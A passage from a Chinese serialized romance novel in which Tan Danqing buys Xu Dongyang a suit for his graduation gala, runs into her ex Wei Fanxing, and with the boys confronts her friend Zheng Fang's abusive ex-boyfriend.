他搓了搓脸,尴尬地说:“阳哥,我还以为,你不接我电话,是不管我死活了呢。” 绪东阳是不想管,也不打算管。 但是只要想到…… 谈小白如果真有三长两短,谈丹青肯定要哭。 烦。 晚自习还有一小时,绪东阳回教室做了一套题。 放学后,谈小白跟屁虫似的尾随在他身后,不断小声跟他示好, “喂,阳哥,你晚上跟我回去呗。 “走嘛走嘛!哎哟,我手肘真的疼,太疼了,骑不了车。 “你不跟我回去,是想我死外面吗!好狠的心……” 绪东阳一路走到停车棚,开口:“上车。” “谢谢谢谢谢谢!”谈小白立马坐上绪东阳的单车后座,沾沾自喜:“现在全校女生都羡慕死我了吧?我可是唯一坐过你后车坐的。” “再说话就滚。”绪东阳言简意赅。 谈小白眨巴眼,做了一个乖巧地给嘴巴上拉链的动作。 骑车回家的路,下坡偏多,顺风。 夜风吹在脸上,有一种宁静的感觉。 “你看见我姐的照片了吧?”好不容易安静了一会儿的谈小白,忍不住又开口叽叽喳喳。 绪东阳没理他。 他又不瞎。 谈小白继续说:“我姐,我姐不是什么,什么……” 张渊骂的那个肮脏下作的字眼,他连复述都说不出口。 他在他背后絮絮叨叨地说:“当时实在没钱请模特,她就自己当模特了,她穿得不比模特好? “还记得我跟你说过她的渣男前男友么?她前男友看到了那些照片,立刻就跟她分手了,还骂她不要脸。嘁,他们有什么了不起的。那件内衣,后来成了当年的爆款,赚了很多钱。你可能从小不缺钱,所以不懂钱对于我们这样的人意味着什么…… “绪东阳,你别跟我姐吵架了。我姐真的很好很好。她就算骂你,也是为了你好。” 绪东阳还是没开口。 只是躬身蹬车。 骑得飞快。 到了家门口的超市,谈小白从车上跳下来,“等我一下。” 他从超市里买了一大包吃的,左手右手提满了。 哪里看得出来手受伤骑不了车。 谈小白厚脸皮。 既然露馅了,他干脆就不装了,推着绪东阳就往家里走,“都到家门口啦,上楼!回家!” * 晚上忙完,谈丹青和郑芳一起整理新货。新货用了一层牛皮纸包装,她没留神不小心划到了手指。 “嘶……” “在想什么呢!”郑芳惊叫起来握住她的手,“手都弄破了。” “没事。”她运气不错,只是划到了,但并没有破口流血。等最开始的痛意过去,也就没事了。谈丹青继续垂眸折包装。 “在想绪东阳的事啊?”郑芳问。 “对。”谈丹青轻轻叹了口气。 她实在不知道,这件事究竟该怎么处理。 骂了绪东阳以后,她心里一直不怎么好受。 赤诚之心,往往就是在这么摔摔打打之中,被磨平了棱角,变得圆润、有所保留。 即便她再不想承认,也不得不说,在她那个无趣甚至失落的二十五岁生日里。绪东阳是最令她开心的人。 也正是因为如此,她更不想将绪东阳的心意就这么摔了。 跟郑芳一起发完货,已经是晚上十点多。 她开车回家,拾阶上楼。 远远看到自己家大门,脚步不觉慢了。 她还不知道绪东阳还会不会在她家里,一想到回去可能就要对上绪东阳顶着一双泛红眼睛控诉她,就心中烦闷。 又或者,绪东阳可能已经跑了,像条养不熟的野狗一样再也不会回来。可后面这个念头,也并没让她的心情变好半分。 门锁“哒哒”响。 推开门,餐桌笼罩在一片柔和的暖色里。谈小白正手忙脚乱地拆着熟食盒,绪东阳站在一旁,垂着眼将一次性餐具一一摆正。听到门响,他抬起头,目光平静地望过来,像是早就知道是她。 “姐!你回来啦!快来快来,一起吃宵夜!”谈小白围着餐桌蹦蹦跳跳,“快来!阳哥买了超多好吃的,都是按你口味挑的!”他一边说一边推搡绪东阳,“愣着干嘛?快去给我姐拿筷子啊!” 绪东阳没说话,转身去厨房取了餐具,安静地放到了谈丹青面前。 微妙的气氛里,谈丹青清了清嗓子,在桌边坐下,说:“买什么吃的了?” 塑料食盒里有一大份谈丹青最喜欢的高压锅饭基围虾,虾的个头大,很新鲜,肉质紧致弹牙。谈小白殷切地掰开虾头,把最肥嫩的虾尾肉剥出来,放在谈丹青面前,“姐,你快吃!” 谈小白一会儿讲学校的事,一会儿给谈丹青剥虾,一会儿倒饮料。忙得团团转,活像努力撮合爹妈和好的熊孩子。 谈丹青很喜欢吃海鲜,而且她还嘴刁,只吃新鲜的。 今晚的虾很好吃,她一连吃了好几只。 起初她还没注意,吃了好一会儿,突然发觉今晚的虾怎么吃不完,这才注意到谈小白老早就罢了工,余下的一直都是绪东阳在剥。 * 饭后,谈小白拎着垃圾袋下楼,屋里骤然安静下来。 谈丹青深吸一口气,走到绪东阳面前,“过来聊聊吧。” 绪东阳沉默地跟着她走向阳台。 夜风微凉,远处城市的灯火如星子般明明灭灭。谈丹青靠在栏杆上,指尖无意识地摩挲着手腕上的表带。金属触感冰凉,却在体温的熨帖下渐渐温热。 “绪东阳,”她终于开口,声音比夜风还轻,“你给我买的这块表,不丑,很好看,我很喜欢。” 绪东阳的喉结滚动了一下。夜风掠过他额前的碎发,他今晚可能刚洗了头吹了头发,眼前的碎发又黑又软,让他看起来戾气没那么重,有几分乖巧的感觉。 “你说表是你自己的钱买的,”谈丹青语气里带着柔软的试探:“能告诉我,是怎么赚的吗?” 绪东阳不语。 “怎么?还怕我知道了要抢你饭碗啊?”谈丹青开了个玩笑,又说:“告诉我呗,有钱一起赚,一起发财啊。” 绪东阳抿了抿唇,月光在他鼻梁上投下一道固执的阴影。他说出一部分真话:“我攒的压岁钱。” “原来这样,”谈丹青终于松了口气,说:“那是我想岔了。我不该怀疑你,质疑你的品行是我不对。” 一阵沉默。远处传来轿车呼啸而过的声响。 绪东阳只觉得整个人都泡在温水里,就连指尖都微微发麻。 “但是这份礼物,还是太贵重了,我真的不能收。你大概还不知道十几万是什么概念,记得上次你来我公司,带你的姐姐胡小样吗?她在我这儿,一个月只能拿五千,这还算行业内较高的工资了。” 谈丹青顿了顿,从口袋里取出一张金属卡片,在指间闪过一道微光,说:“我这里有一张亲属卡,当时办了两张,有一张给小白了。这里面有十万块钱,你平时想买什么,就用这张卡里的钱。好吗?” 这已经是谈丹青能做出的最大的让步。相当于从绪东阳手里将那块表买下来。如果绪东阳还要跟她闹,那她就真要给这小子一巴掌了。 绪东阳盯着那张卡,呼吸明显滞了一瞬,垂在身侧的手指微微蜷起,然后又松开,像是在进行某种艰难的抗争。 他不想要谈丹青的钱,但是又想要谈丹青亲属的身份。 几乎是指尖发抖地,将那张卡收下,然后转头回到房间。 “好。” 25 第25章 ◎领带◎ 学校高三生腊月二十八才开始放假,初三就开学,寒假只有短短五天假期,所有人都愁云惨淡。为了提振士气,学校计划在最后一天办一场毕业晚会,也算是他们的十八岁成人礼。 谈小白除了读书,干啥都是第一名。 他给自己整了个乐队,自己当主唱。 每天晚上都在家扯着嗓子干嚎: “我和我最后的倔强 握紧双手绝对不放……” 嗓音之嘹亮,情感之充沛,连楼下遛娃的大婶都忍不住驻足聆听。 有一次,谈丹青回家,吴婶神神秘秘地拦下她,小声问她:“闺女,不是说现在市区不让杀鸡吗?你活鸡在哪儿买的?” 谈丹青无语地拉开门,指着还在嚎的谈小白对隔壁吴婶说:“喏,土鸡,地道的走地鸡!” “哎哟。”吴婶败兴而归。 谈丹青忍无可忍,抱臂靠在门框上,凉凉点评谈小白的歌声:“我当年毕业,晚会就唱的这首,怎么轮到你毕业了,还是这首?五年了!你们年轻人就没点新花样?” “因为内娱早完啦。”谈小白振振有词。 谈小白这头兴致冲冲地准备毕业晚会,绪东阳对晚会这种狂欢似乎完全绝缘。 他有一种非常奇特的本领:闹市读书。 黑色耳机往耳朵上一挂,就能瞬间筑起一道透明的墙,刷个物理卷子易如反掌…… 谈丹青一看就知道绪东阳肯定不去,她就不喜欢绪东阳这么孤僻,过去敲了敲他面前的桌子。 绪东阳摘下耳机。 “你呢?”谈丹青问:“晚会不去?” 绪东阳摇头。 谈丹青说:“为什么不去?” “吵。”绪东阳说。 “这话说的,”谈丹青啧了一声,“小小年纪,不要总搞得这么老气横秋。” 谈小白说:“阳哥打死不去啊,多少女生邀请他,他都不去。” “高冷。”谈丹青笑着摇了摇头。 绪东阳抬头看着她,漆黑的瞳孔里跳动着难以名状的光亮,反问:“你去不去?” “我?” “我姐当然去,”谈小白说:“我可要表演唱歌啊。” 绪东阳望向她。 “我去啊。”谈丹青咬着苏打饼干说:“你以为谁都跟你一样。我可是,哪儿有热闹,就往哪儿凑。” “好。”绪东阳突然说。 “好什么?” “我也去。” “靠。”谈小白扑过去抅绪东阳的脖子,“你又愿意去了?我求你半天,你不来,我姐一句话,你就来了。可恶啊!” 绪东阳今天又穿他那身黑色卫衣。 袖口挽起,露出漂亮的手臂线条。 他身材好,是标准的行走衣架子。 宽松的布料也遮不住优越的肩线,这样随性的打扮,反而挺能凸显他身上的少年气。 但,绪东阳来来回回,总穿这么几套运动服。 他没穿腻,谈丹青眼睛看都看腻了。 她干服装行业,最受不了看丑东西。 “你到时候穿什么?”谈丹青问。 谈小白已经准备好晚会的西装,每天都孜孜不倦地用鞋油刷他的新皮鞋。 绪东阳低头看自己的衣服,正要开口,谈丹青做了一个“停”的手势。 她无语地说:“你别跟我说,你又要套你那些卫衣和运动服。” 绪东阳语塞。 他衣柜里的确清一色黑灰卫衣和运动裤,没什么选择余地。他也不觉得这有什么问题,舒适、方便、不用思考搭配,完美符合他务实的性格。 “有正装吗?西装。”谈丹青问,不等绪东阳回答,谈丹青说:“料你肯定没有。下午陪我去商业街,给我拎包。” 商业街的午后阳光晃得人眼花。谈丹青踩着细高跟走在前面,绪东阳沉默地跟在半步之后,手里已经挂了四五个纸袋,两条连衣裙、一双高跟鞋、一件真丝衬衫,甚至还有一条他完全不明白为什么要买的丝巾。 谈丹青不系丝巾,她觉得系了显得脖子短。购物员说好像是什么配货。 等谈丹青回头发现绪东阳已经成了一棵圣诞树,她才想起来今天的正事。 经过一家男装店,谈丹青说:“进去看看。” 谈丹青走马观花地看男士西装。挑了深色系、浅色细的两个款式,递给绪东阳,“进去换。” 绪东阳不动。 他最受不了谈丹青给他买东西。 她给他的亲属卡,他分文没动,将这些年打拳攒的钱,全部存了进去。 谈丹青没好气地说:“干愣着做什么?又不是给你买的,是给我客户买的,你跟他个子差不多高,我要你帮忙试一试。” 绪东阳这才进入更衣室。 谈丹青在外面跟人导购唠嗑。 “小姐,你的男朋友好帅呀。”导购小姐姐对谁嘴都这么甜,但对谈丹青绝对是发自肺腑。她在这儿干了很多年,第一次见这么帅的,像海报上的男模特。 谈丹青忙解释:“不是不是,那是我弟弟。” “啊……抱歉抱歉。”导购改口:“难怪都长得这么好看呢,原来是家族基因。” 闻言谈丹青笑了笑。 片刻后,绪东阳换了衣服出来。 谈丹青眼睛不禁一亮。 午夜蓝的面料在灯光下泛着低调的光泽,恰到好处地包裹着他宽阔的肩膀。隐约可见精悍的肌肉线条。 少年挺拔的身形被剪裁精良的西装勾勒得淋漓尽致。 他有些不自在地扯了扯袖口,这个动作与严谨的西装形成微妙的反差,有种青涩感。 “转一圈我看看。”谈丹青非常满意地说。 绪东阳皱眉,但还是顺从地转了个身。 绪东阳个高,身上肌肉又厚,肩膀宽阔,谈丹青本担心这种偏壮的身材不适合穿西装。没想到绪东阳属于穿衣显瘦,脱衣有肉的类型,裁剪得度的西装很衬他,看起来淡雅贵气,典型的西装暴徒。 店员在一旁赞叹:“你弟弟穿得真心好看,非常帅的小帅哥了。” 谈丹青走到绪东阳跟前,伸手拂了拂他的领口,将他肩头的褶皱轻轻拍平。 然后她扭头看向镜子里少年的倒影,含笑说:“是不错啊。” 她忽然明白,为什么霸道总裁热衷于带情人买衣服。原来把一个人完全按照自己的审美打造,是一件这么有意思,有情绪价值的事,就像小时候玩洋娃娃,想给它们穿什么就穿什么。 镜子里,绪东阳眼睛没怎么看自己穿西装是什么样子。他对自己的外表不怎么在意,他的两眼,纹丝不动地盯着谈丹青的身影。 谈丹青算女人中偏高挑的身形,四肢柔软纤长,身薄,旗袍样式半身裙勾勒出女性化的玲珑曲线。 她侧着身站着,于是在镜中看起来,她的腰细而软,如果他贸然地搂住,就会发现他的手臂能刚刚好将她环抱住。 “好了,”谈丹青退后两步欣赏作品,说:“我再给你挑几条领带。” “不用。”绪东阳说。 谈丹青说:“穿西装不系领带,那叫衣冠不整,懂不懂啊?” 她在货架中穿过,选了几条素面,又选了几条带纹路,一条一条跟他脸的肤色比对。 绪东阳歪头要避,就被谈丹青嗔了一声,“你乱躲什么。” 绪东阳不得不立好不动,像一尊压抑的人偶,任由谈丹青穿衣打扮。 “领带颜色最好和西装颜色同色系,像你现在穿的这件,是藏蓝色,所以最好搭配,素蓝色,墨绿色。这条花色蓝色样式还行,但纹路太花哨呢,你刚开始穿西装,就先试基础款的。”谈丹青一边帮他搭配,一边娓娓道来地教他。 绪东阳盯着谈丹青的侧脸,漆黑瞳孔不肯错一下。 忽地,谈丹青昂头看他。 绪东阳放肆的窥探无处遁形,立刻垂下眼皮,掩了掩长睫。 谈丹青没有注意到绪东阳的眼神,专注地望着他的眼睛,说:“你的眼睛颜色很浅,所以适合颜色轻一点的领带,试试这一条吧。” 绪东阳接过领带。 谈丹青耐心地原地等了一会儿,没等到绪东阳动作,脑中电光火石一闪,脱口而出:“你不会系领带?” “嗯。”绪东阳看着她,点了点头。 “好吧,”谈丹青哭笑不得,从绪东阳手中抽回领带,说:“头低一点。” 绪东阳温顺地垂下了头。 墨绿色领带在他的脖颈上绕了一圈,谈丹青白皙的手指,在墨绿的颜色里来回穿梭。 她红艳的嘴唇还在张张合合,大概又在讲些系领带的学问,但他却一个字也听不清。 他的耳膜里全是自己震耳欲聋的心跳,一击又一击,仿佛在八角笼里不断向对手出拳。 眼前的视野,全部幻化为一片墨绿色的绿洲,只有属于谈丹青的那只手,是穿梭在其中的银色的溪流。 “会了吗?”谈丹青的声音传来。 他严重走神。 “会了吗?”谈丹青拽了拽他的领带,将他拽得头一低。 “会了。”绪东阳说。 可谈丹青才不信。 她故意将已经系好的领结拆开,然后抬了抬下颌,说:“那你自己系一次。” 绪东阳飞快地系了一个结。 他并没有他表现出来得这般不谙世事。 谈丹青讶然于绪东阳学得这么快,撇了撇嘴,说:“还行吧,” 她伸手捋了捋领带下沿的褶皱,“系得跟红领巾似的。” “你好,这件,这件,还有这件,包起来。”她转身对导购员说。 “好的。” 谈丹青掏钱夹拿卡,却被绪东阳突然抓住了手腕,“你不是说,只是让我试试么?” 谈丹青笑笑,说:“不是穿得很好看吗?那就买下呗。” 绪东阳深吸口气:“我付钱。” 谈丹青不悦地拂开绪东阳的手,她倚在柜台,歪头看绪东阳。 他从头到脚全是她装扮,是她一手打造出来的杰作,自然非常符合她的审美。 “别以为我今天是在做慈善,”谈丹青开口道:“我可是资本家,知道什么叫资本家吗?资本家就是‘九出十三归’。我今天在你身上花的这些钱,还有你在我这儿吃的,住的,等你毕业工作了,都是要连本带利还给我的。别,着,急。” “好,”绪东阳抿唇,像发毒誓一样沉声说,“我会加倍还你。” 谈丹青嗤笑,她手指在桌上弹钢琴一样敲了敲,最后好好欣赏了一番。 “少听他们说什么,人只要内在美就好了。那是骗人的话。人就是势利鬼,你往那一站,他们就会对你品头论足。你会被归到什么档次,他们怎么待你,就是扫一眼的功夫。你大学肯定要么去北京,要么去上海,有身撑场面的行头,实习面试,错不了的。” “我不会去北上广。”绪东阳说。 他就不打算离开她半步。 谈丹青没当回事。 何薇跟她说,绪东阳属于,越到大考发挥得越好,高三上学期的几次月考,他还只是年级前十,最近这几个月,已经冲到前三甲里去了。高考要是运气好一点,干到市状元都不是不可能的。 所以谈丹青坚信,绪东阳不是会留在这儿的平凡的鸟,他以后肯定是要飞的。 此时此刻他对自己的这点朦朦胧胧的感情,过去了也就过去了,没必要戳穿点破。 大概若干年以后,再提起来,也就是饭桌上的一声笑。 签好了单,谈丹青继续闲逛,意外看见一套特别好看的红色礼服。 “拿着。”她将大包小包塞进绪东阳手里,“站在这里。” 衣服取下,谈丹青进更衣室换上。 背后的拉链不方便拉上,她想请导购员帮忙。 “不好意思……” 帷幔半拉开,呼吸骤然凝滞在嘴边。 魏繁星就站在那里,手臂上搭着件女士大衣。他显然也没料到会在这里遇见她,瞳孔微微放大,嘴角那抹惯常的玩味笑意僵在脸上。 “繁星,帮帮我嘛,我这个纽扣怎么也扣不上啦。” 隔壁传来娇滴滴的女声,他也带着新女友来买衣服。 26 第26章 ◎多少人曾爱慕你年轻时的容颜◎ “需要我帮你吗?” 两道声音同时响起,一清一重,一冷一热。 魏繁星和绪东阳分立在帷幔外。 一个似笑非笑神情淡漠,一个眼神热烈直白。 像两座对峙的火山,彼此暗暗较着劲。 谈丹青脑海中冒出莫名其妙的一个场景。 好像头顶有一只透明控制面板叮咚了一声:“请选择你的心动男嘉宾……” “唰!”谈丹青重重关上帷幔。“不用了……” 她选择…… 选个屁。 怎么会发生这种事? 未免也太荒谬了! 但衣服很好看,衣服是无辜的,所以衣服还是要买。 谈丹青换好衣服出来,魏繁星和绪东阳两人仍在原地等她。 陪魏繁星来的女伴,被晾在了一边,正百无聊赖地刷着手机。 谈丹青经过魏繁星时,魏繁星开口道:“没想到,你还带个小朋友来买衣服。” 他特意在“小朋友”三个字上加重了语调。 谈丹青将换下的衣服递给店员,头也不抬地反唇相讥:“你不也是?” 魏繁星的女伴,看起来甚至比绪东阳年龄还小。 “繁星?还不能走吗?不是说好了要去看电影。”女伴不高兴地催促着他。 魏繁星脸上*表情不变,但心中有些不愉。 他极不喜欢女伴不听话,除了谈丹青,他似乎很少对其他女伴有这么多的耐心。 “如果我跟她们断掉,”魏繁星淡声问她,“你愿意重新考虑吗?” “先断掉吧。”谈丹青笑了笑。 绪东阳默默跟上,在她掏钱包前抢先递出了自己的卡。一片混乱里,谈丹青也没注意到。他执拗地挡在她和魏繁星之间,像一道稚嫩却坚定的屏障。 往外走时,绪东阳故意猛撞了魏繁星肩膀一下。 打架挑衅标准动作,又狼又野。 魏繁星一个养尊处优公子哥,哪里受到过这种冲击,身体差点撞飞了起来。他皱了皱眉,头一次流露出狼狈的样子。 谈丹青看见了。 只当没看见,觉得好笑。 出了商场,坐进车里,谈丹青回想到刚才那一幕,再次忍俊不禁,双手扶着方向盘,笑得直耸肩,说:“绪东阳,以后再不许这样了啊。你都快把人家给撞飞了。” 绪东阳冷着脸,说:“谈丹青,他配不上你。” 因为绪东阳这句话说得太突然,谈丹青一时忘了去计较他又没大没小地对她直呼其名。她再次发出一声笑:“他配不上我?哈,所有人都只会说,他是二代,有钱,我高攀了。” “那些人是傻逼。”绪东阳直白地说。 谈丹青啧了一声,说:“以后不许在我面前骂人啊。” * 回到家,绪东阳默默将这套衣服挂好。 他站在衣柜前盯着挂起来的衣服看了很久,总觉得这么挂着会弄脏。可如果套上送的防尘套,又看不见里面的衣服。 思来想去,他取下一件大号卫衣,套在新衣服的外面。这样好像就在拥抱谈丹青的心意。 手机突兀地震动,视频显示是徐丽抱着绪北远的头像。 “喂。”绪东阳哑着声音,“妈。” 徐丽说:“东阳,你这几天还好吗?” “嗯。”绪东阳等了一瞬,有点期待徐丽会问,他为什么一直没回家。 可徐丽顿了顿,再开口时,还是没有问,而是说:“你弟弟在这边还挺听话的,我们本来计划过年来看你,但是这边的天气气候更适宜小远修养。你能理解吧?” “嗯。”绪东阳机械地应道。 “其实我们也商量过,让你寒假过来,我们一家一起过年,”徐丽接着说:“可是你现在高三了,我们又怕你过来了会耽误你的学习。你们放几天假?” “五天。” “五天实在太短了。” “嗯。” “东阳,你高考好好考,”徐丽突然哽咽起来,“妈妈看不到你,妈妈心里,心里……妈妈真的不是不关心你……” “妈妈。”绪北远怯生生的,病恹恹的声音插了进来,“是哥哥吗?哥哥他要来吗?” 电话那头嘈嘈杂杂。 绪东阳朦朦胧胧听到几句—— “他不来。” “你别哭了。” 徐丽的声音重新清晰,“我这边就先挂了。东阳,你好好照顾自己,等你高考完,就过来我们一家团聚。” “嗯。” 忙音响起时,绪东阳才发现自己一直保持着接电话的姿势。 徐丽还是没发现他房间背景都变了。 挂断电话,绪东阳对着窗外发了一会儿呆。 楼下便利店的光牌亮起来,红荧荧地映在玻璃上,像一片冻住的海。 昨天他们又跑去买了一大堆吃的。 到现在还没吃完。 谈丹青非常执着于给他买奇趣蛋,可能是玩嘲讽吧。但奇趣蛋挺好吃。 他不打算毕业后去加拿大找徐丽和弟弟,没再执着于渴望徐丽将母爱公平地分一半给他。 有了更重要的事,更想守护的人,就不会总觉得胸口空落落的了。 可能是不小心误触了,耳机自动播放起他正在听的民谣。 他这几天没再怎么听外文歌。 因为谈丹青听不懂外语。 英语只知道yes、no,this、that;日语只知道阿里嘎多。 到时候他晚会对她唱歌表白,她听不懂,场面就会很无奈。 耳机里音乐在流淌: “多少人曾爱慕你年轻时的容颜, “可知谁愿承受岁月无情的变迁, “多少人曾在你生命中来了又往, “可知,一生有你,我都陪在你身边。 这首歌的歌词,出自杜拉斯的《情人》。 故事里,一个年轻男人来到主角面前,介绍自己后,对主角说: “我认识你,永远记得你。那时候,你还很年轻,人人都说你美……对我来说,我觉得现在的你比年轻的时候更美,那时你是年轻女人,与你那时的面容相比,我更爱你现在历经岁月的容颜。” 这个故事有人说是杜拉斯的真实经历,有人说只是一个年迈丑陋老女人可悲的意.淫。 真相究竟如何,绪东阳无从而知,也无从考证。 他只觉得,这段话很合他的心境。 他渴望自己有资格见证她的所有,好的,不好的;璀璨的,暗淡的。即便她的鬓角眼角有朝一日也生出细纹和华发,他也只想俯身去亲吻岁月对她的优待。 手机一亮。 Tdq:【滚出来吃饭。】 绪东阳:。 在这个家里,想玩一把悲春伤秋,真的很难很难…… * 年底谈丹青的公司忙到飞起,有mcn流量帮扶,后台数据已经是一个很恐怖的数字。 尤其她们一款红色内衣,踩中了圣诞热点,销量再次大爆发。原先合作的小工厂,已经吃不下这么大的货量。 她开始四处联系新的工厂,但江城轻工业工厂并不太发达,选择范围较窄,吕力鼎和郑芳都建议她往南方找。 南方就是江浙一带,他们那边的小工厂最多,发展很好。 这件事谈丹青暂时搁置,现在还是想以谈小白和绪东阳两个小孩儿的高考为重,打算等他们考完了,她再过去实地考察。 她每天孜孜不倦地看各种小红书、微信上面关于“家有考生”的信息。 智商这种东西,在出生那一刻就定下来了,后天再怎么努力也无力回天,只能在食补上下功夫。 于是她整了点补脑的玩意。一开始还比较正常,核桃、蓝莓、红豆黑豆。往后就越来越抽象了,开始以形补形,猪脑、兔头…… 还有的食材火气比较旺,吃了智商没见增长,倒是把谈小白搞上火了,额头上冒了一个泡,捂着额头哇哇大哭,“我破相了……” 绪东阳倒还好,但也有点补太过,半夜都能听到他房间里健身器材撞地的声音。 晚上谈丹青继续临睡前认真研究明天弟弟们的魔鬼食谱,忽地接到郑芳的电话。 接通电话后,郑芳不说话,只是在话筒里哭。 谈丹青立刻下床,问:“你现在在哪儿?” “我在家。”郑芳啜泣地说:“于波堵我。” 于波就是郑芳的狗逼男朋友。 “什么狗人。”谈丹青披上外套就要出去,听到动静绪东阳从屋里出来,问:“怎么了?” “郑芳,郑芳那边有点事。”谈丹青焦虑地点着手机。 绪东阳说:“我跟你一起。” “不行,你在家待着好好休息。”谈丹青说。 谈小白也出来,“怎么了?” “郑芳出了点事。”谈丹青回答,“好像跟她男朋友。” “郑芳姐?”谈小白立马也转身穿外套,说:“我跟绪东阳两个人跟你一起去。” “你俩瞎掺和个什么?”谈丹青皱眉说。 “你就不怕郑芳姐被人欺负了?”谈小白说:“我跟绪东阳两个男的过去,如果有什么冲突,我们这边有气势些,对方自然不敢轻举妄动。要是就你一个人去,对面人多,不把你放眼里呢?那你去不是葫芦娃救爷爷,去一个送一个?” 谈小白话说得糙,但的确是这么个理。 “好……”谈丹青终于同意。绪东阳已经帮她将要换的平底鞋和外套拿好,谈丹青立马穿上。 到了郑芳家,郑芳红着眼睛来开门,一见谈丹青身后还跟了两个人高马大的青年,两手捂住脸,带着哭腔说:“怎么带这么多人啊!” 谈小白说:“郑芳姐,我们来给你出气的。那小子呢?那小子在哪儿?我让他吃个拳头,知道爷爷我的厉害。” 郑芳破涕为笑,说:“你们进来吧。” 郑芳家里应该刚吵过一通,墙上的艺术照玻璃都被砸破了,满地狼藉。 “在一个臭小子身上栽了,真是丢脸。”郑芳苦笑。 郑芳男朋友今年已经二十多了,按年龄算明明是个当叔的,结果在这儿跟郑芳装小奶狗。 郑芳表面是个女强人,实际上心很软,对这个男的很好,很照顾他。 结果她偶然在小红书上刷到了他的账号,他在小红书上发状态,说他现在的女朋友已经三十了,他觉得年纪太大了,问要不要为了钱,继续跟她在一起。 郑芳看到后,心碎了一地,直接跟他分手。 这男的软饭吃惯了,没钱就又想到郑芳,跑来继续纠缠。 家里一团乱,地上到处都是玻璃,怕伤着脚。 “我真够傻啊,”郑芳苦笑着说:“我嘴上说,是我玩他呢,我养狗。但实际上是谁玩谁?这大半年,我又给钱又给情绪价值,还特么陪睡,最后我落得个什么? “我后来还看到他跟他朋友们的聊天记录,说找那个老女人要钱花。哈哈,哈哈哈……我就落得了个这——老女人。” 谈小白一边拖地,一边大声说:“郑芳姐,你哪儿老了,你跟那男的走在一起,我还以为他是你爸呢?年纪小是小,但长得真够老。” “就是,”谈丹青说。 郑芳破涕为笑,说:“你弟这嘴。” 谈丹青笑着说:“他啊,就这张嘴长得好。我说他这张嘴以后能入赘豪门。” 谈小白笑嘻嘻地说:“包的。” 这时可视猫眼显示楼下有人上来。 “他又来了。”郑芳说。 谈小白说:“他来了更好,正愁给他个教训呢!开门!” 于波敲门,郑芳开了门:“你怎么还来?” “我来拿东西的,我拿了东西就走。”于波说。 “拿东西?”郑芳冷笑,她两臂抱在胸前,轻蔑地上下扫了他一眼,说:“你有什么东西可拿?你从头到脚,哪一样不是我买的。” 于波不觉得自己理亏,不耐烦地说:“我拿我的鞋。” “你说那几双我给你买的乔丹吗?”郑芳说:“不好意思,那是我买的,就是我的。” “你这老妖婆。”于波装都不装了,直接就破口大骂。他搡了把郑芳的肩,恶狠狠地说:“让开。” “爪子,爪子往哪儿摸。”郑芳身后,谈小白拎着高尔夫球棒就上前一步。 于波脸一绿,“你这老妖婆,这么快又找了一个呢?” 郑芳还没开口,谈小白就已开腔,“我告诉,你个眼睛长屁股上的小瘪三儿。你眼瞎看不上郑芳姐,有的人是追,追的人从这儿排队到法国了。识相就给我滚。” 谈小白扬起高尔夫球杆,做式要打断他的腿。于波起初摸不准谈小白的底细,不知道这究竟是不是个能打的。但谈小白一扬杆,于波就看出了深浅,这就是个不会打架的花架子。他可是体育生,徒手就夺谈小白手里的球杆。 谈小白一下被于波按在了茶几上,球杆抵住了他的脖子,“骂谁小瘪三呢?小瘪三?” 谈丹青见状立刻叫了绪东阳一声,“绪东阳!” 还没等她开口,绪东阳骨节分明的大手直接钳住对方后颈,单手就把一米八的男人拎得双脚离地。 于波还想挥他抢过来的高尔夫球棒,绪东阳直接一脚踩过去。 高尔夫球棒像跷跷板一样往上一弹,正打在于波的膝盖弯上。 于波嗷嗷乱叫,绪东阳继续猛踹瘸子的好腿,一把就将他重重按在了玻璃茶几上。 “我草……”于波的衬衫领口勒住气管,涨红的脸瞬间泛出紫红。 谈丹青和郑芳瞠目结舌。郑芳震惊地看向谈丹青,谈丹青一脸茫然,她真不知道,绪东阳打人这么猛…… 绪东阳单手轻而易举地压制住于波,扭头问谈丹青,“怎么打?” 声音平淡,仿佛是她最忠诚的打手。 她指哪儿,他就往哪儿招呼。 要让谈丹青来,她肯定对着于波一通暴揍,但这件事毕竟是郑芳的家务事,还是要考虑郑芳的意见。她转身问郑芳:“怎么打?” 郑芳说:“让他滚吧。” 绪东阳扬眉望向谈丹青。 谈丹青朝绪东阳点了点头。 绪东阳这才松开了手。 于波终于知道厉害,他瑟缩地瞅了绪东阳一眼,捂着脖子说:“郑芳,算你狠,我不要了。” 打发走于波,谈小白扶郑芳回沙发上坐下。郑芳自嘲地笑了笑,说:“瞧今天这事闹的,让你们看笑话了。” 谈丹青说:“你没事就好。” 从郑芳那儿回去,已经快凌晨。谈丹青开的车,谈小白坐在后车厢,倒头睡了,绪东阳却一直没睡。 谈丹青便说:“不睡会儿?” “不困。” “行。” 谈丹青怕晚上开车走神,于是打开了广播频道。 广播里正在放一首她很喜欢的民谣。 “多少人曾爱慕你年轻时的容颜, “可知谁愿承受岁月无情的变迁, “多少人曾在你生命中来了又往, “可知,一生有你,我都陪在你身边。 谈丹青降下车窗,晚风拂面。 绪东阳突然说:“不是每个年纪小的男人都像于波那样。” 谈丹青有些意外绪东阳会突然说这句话,她扭头看他,说:“嗯,我知道。”她顿了顿,补充道:“我知道你就肯定不会这样。” 绪东阳没再说什么,转脸看向了窗外。 27 第27章 ◎不装了◎ 回家后,谈丹青仍不放心,特意又给郑芳拨了电话:“那个狗东西后来没继续烦你吧。” “没回来了。我也把他拉黑了。”郑芳说。 “漂亮。”谈丹青欣慰地吐出口气,“旧人不去,新人不来。这种人,甩了就甩了,下个会更乖。” “没错。”郑芳那头也破涕为笑,“不过,你那弟弟,还真挺靠谱的。” “你说小白啊?” “不,另一个。” “绪东阳?” “对。” “他是靠谱。”这点谈丹青不得不承认。 今晚如果不是绪东阳在,以她和谈小白的战力,恐怕最后真的会变成葫芦娃救爷爷的场面。 “我感觉他好像很喜欢你。”郑芳突然说,“他好听你话,指哪儿打哪儿。” “咳……”谈丹青呛着咳了一声,忙拧开一瓶矿泉水,“他,他就一小孩儿呢。” “也是。”郑芳说:“而且你不谈年下。” 谈丹青默默喝完水。 * 第二天晚上就是一中毕业晚会。谈丹青提前弄完公司的事开车过去。正值上下班高峰期,前方红灯频闪烁,车流慢吞吞地蠕动。谈丹青瞟了眼表盘,怕时间来不及,不免心浮气躁,泄愤似的按下喇叭。 这时谈小白打来电话问她:“喂,姐,到哪儿了?” “路上路上。”一辆黑色轿车突然从右侧强行并线,谈丹青不高兴地冲窗外大喊:“又别我车!” 话筒里传来绪东阳的声音:“叫你姐开慢点。” 那声音经过电频分解,听起低低沉沉的,像大提琴的弦音般在狭小的车厢里回荡,带着不容忽视的关切。 